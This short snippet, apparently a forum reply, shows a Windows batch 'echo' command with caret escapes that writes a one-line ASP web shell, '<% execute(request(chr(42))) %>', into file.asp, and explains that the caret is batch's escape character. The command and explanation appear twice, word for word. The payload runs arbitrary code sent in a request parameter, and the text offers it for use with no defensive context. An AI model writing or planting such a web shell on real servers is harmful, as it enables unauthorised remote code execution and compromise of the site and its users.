you would do it like this:
echo ^<^% execute^(request^(chr^(42^)^)^) ^%^> > file.asp
^ is the escape character for batch, just like \ is for shell
echo ^<^% execute^(request^(chr^(42^)^)^) ^%^> > file.asp
^ is the escape character for batch, just like \ is for shell
